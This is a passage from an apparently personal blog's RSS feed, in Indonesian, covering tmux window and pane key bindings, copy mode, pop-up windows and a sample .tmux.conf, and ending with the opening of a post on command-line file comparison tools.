href=&quot;#creating-window&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Di dalam &lt;code&gt;tmux&lt;/code&gt;, kita dapat membuat window baru:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Renaming Window&lt;a href=&quot;#renaming-window&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa mengganti nama window di &lt;code&gt;tmux&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Window Chooser&lt;a href=&quot;#window-chooser&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita punya banyak window dan ingin berpindah-pindah window, kita bisa memilihnya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;w&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;window chooser&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;1041&quot; src=&quot;/_astro/ss14.oHYn4FKO_Z8bMX2.webp&quot; /&gt;&lt;figcaption&gt;window chooser&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Atau langsung dengan nomor identifikasi masing-masing window-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0-9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Panes Numbering&lt;a href=&quot;#panes-numbering&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita punya banyak panes, kita bisa melihat atau mengidentifikasi setiap pane dengan nomornya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;q&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;show pane number&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;1041&quot; src=&quot;/_astro/ss15.sCkotvf4_Zg1X6F.webp&quot; /&gt;&lt;figcaption&gt;show pane number&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Panes Resizing&lt;a href=&quot;#panes-resizing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa mengatur ukuran setiap pane secara manual:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;→&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# `Ctrl+b` sambil ditahan, untuk memperbesar pane ke kanan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;←&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# `Ctrl+b` sambil ditahan, untuk memperbesar pane ke kiri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;↑&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# `Ctrl+b` sambil ditahan, untuk memperbesar pane ke atas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;↓&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# `Ctrl+b` sambil ditahan, untuk memperbesar pane ke bawah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pane Zooming&lt;a href=&quot;#pane-zooming&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Terkadang, jika jumlah pane terlalu banyak, maka ukurannya akan semakin kecil. Kita dapat memperbesar (membuatnya jadi sebesar layar terminal) dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;z&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mengembalikannya ke ukuran semula, kita dapat menggunakan perintah yang sama.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Panes Layouting&lt;a href=&quot;#panes-layouting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa mengganti-ganti layout pane:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; [Space]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Copy Mode&lt;a href=&quot;#copy-mode&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita bisa memasuki &lt;strong&gt;copy mode&lt;/strong&gt; di &lt;code&gt;tmux&lt;/code&gt;, dan ini adalah mode yang sangat bermanfaat bagi pengguna &lt;code&gt;tmux&lt;/code&gt;, karena kita dapat melakukan banyak hal di mode ini, seperti &lt;em&gt;scrolling&lt;/em&gt;, &lt;em&gt;copy selection&lt;/em&gt;, paste, &lt;em&gt;search&lt;/em&gt;, dan lain-lain.&lt;/p&gt;&lt;p&gt;Mengapa hal-hal tersebut (yang terdengar biasa aja) jadi spesial? Karena di tmux, pada dasarnya, kita tidak bisa melakukan semua itu kecuali jika kita masuk ke &lt;strong&gt;copy mode&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Untuk masuk ke &lt;strong&gt;copy mode&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, kita dapat melakukan banyak hal berikut:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Navigasi / &lt;em&gt;Scrolling&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kita bisa menggerakkan kursos di mode ini melalui tombol-tombol berikut di keyboard:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;h&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke kiri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke kanan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;j&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke bawah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke atas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau bisa juga dengan tombol arrow di keyboard.&lt;/p&gt;&lt;p&gt;Jika kita ingin &lt;em&gt;scrolling&lt;/em&gt; yang lebih cepat:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PgUp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# scroll ke atas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PgDown&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# scroll ke bawah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. Selecting&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Untuk mulai menyeleksi teks:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;v&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. Copying&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Untuk meng-&lt;em&gt;copy&lt;/em&gt; teks yang sudah terseleksi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[Enter]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;4. Pasting&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Untuk mem-&lt;em&gt;paste&lt;/em&gt; teks yang sudah tercopy:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;5. Searching&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kita juga bisa mencari keyword tertentu yang ada di dalam pane pada mode ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# search forward&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;? &lt;/span&gt;&lt;span&gt;# search backward&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Untuk keluar dari &lt;strong&gt;copy mode&lt;/strong&gt;, tekan tombol &lt;strong&gt;&lt;code&gt;q&lt;/code&gt;&lt;/strong&gt; di keyboard.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pop-up Window&lt;a href=&quot;#pop-up-window&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa menampilkan pop-up window di tengah-tengah workflow &lt;code&gt;tmux&lt;/code&gt; kita.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
Caranya, kita masuk ke mode perintah terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian masukkan baris berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;display-popup&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;tmux popup window&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;1041&quot; src=&quot;/_astro/ss16.AyW8XpdS_w9wOL.webp&quot; /&gt;&lt;figcaption&gt;tmux popup window&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Config File&lt;a href=&quot;#config-file&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;File konfigurasi &lt;code&gt;tmux&lt;/code&gt; biasanya ada di home folder (&lt;code&gt;~/.tmux.conf&lt;/code&gt;).&lt;br /&gt;
Kita bisa isi dengan berbagai konfigurasi yang kita inginkan. Misalnya, berikut ini adalah isi file konfigurasi &lt;code&gt;tmux&lt;/code&gt; saya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Mengubah warna latar belakang dan teks status bar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-g&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status-bg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;green&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Warna latar belakang status bar (gunakan kode warna atau nama warna)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-g&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status-fg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;black&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Warna teks di status bar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-g&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status-style&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;bold&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#set -g status-right &quot;%H:%M&quot;  # Hanya menampilkan waktu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-g&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status-right&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;#(whoami)@#H | #(pwd) &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;set-option&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-g&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pane-active-border-style&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;fg=blue&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Warna garis pembatas aktif&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bind-key&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;T&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;display-popup&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-E&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Artikel ini belum membahas &lt;code&gt;tmux&lt;/code&gt; secara komprehensif, masih banyak fitur &lt;code&gt;tmux&lt;/code&gt; yang tidak di-&lt;em&gt;cover&lt;/em&gt; dalam artikel ini. Oleh karena itu, jika kalian tertarik untuk mengetahui &lt;code&gt;tmux&lt;/code&gt; lebih dalam, silakan kunjungi dokumentasi official mereka. Semua catatan tentang &lt;code&gt;tmux&lt;/code&gt; dapat kalian explorasi lebih lanjut di:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://tmux.app/doc/&quot; target=&quot;_blank&quot;&gt;https://tmux.app/doc/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Terima kasih sudah mampir.&lt;br /&gt;
Ada kritik dan saran untuk artikel ini atau web ini secara keseluruhan? Tinggalkan komentar di bawah ya!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://tmux.app/doc/&quot; target=&quot;_blank&quot;&gt;https://tmux.app/doc/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://tmuxai.dev/tmux-popup/&quot; target=&quot;_blank&quot;&gt;https://tmuxai.dev/tmux-popup/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Tools for Comparing Text-Based Files.</title><link>https://shangdi.github.io/posts/tech/diff/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/diff/</guid><description>These tools are my go-to tools when it comes to comparing files. For the sake of your own mental health, I am telling you that those are CLI-based ones. If you are allergic to those tools, please read this article with professional assistance or do not read it at all.</description><pubDate>Sat, 20 Jun 2026 07:19:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Preface&lt;a href=&quot;#preface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Tools&lt;/em&gt; &lt;em&gt;comparison&lt;/em&gt; ini akan terasa sekali manfaatnya, terutama jika kita ingin membandinkan isi file yang berbasis teks seperti logs. Jadi, “file” yang dimaksud di sini adalah file yang dapat dibaca dengan terminal (berbasis teks), bukan file dokumen seperti Word atau PDF.&lt;/p&gt;&lt;/section&gt;
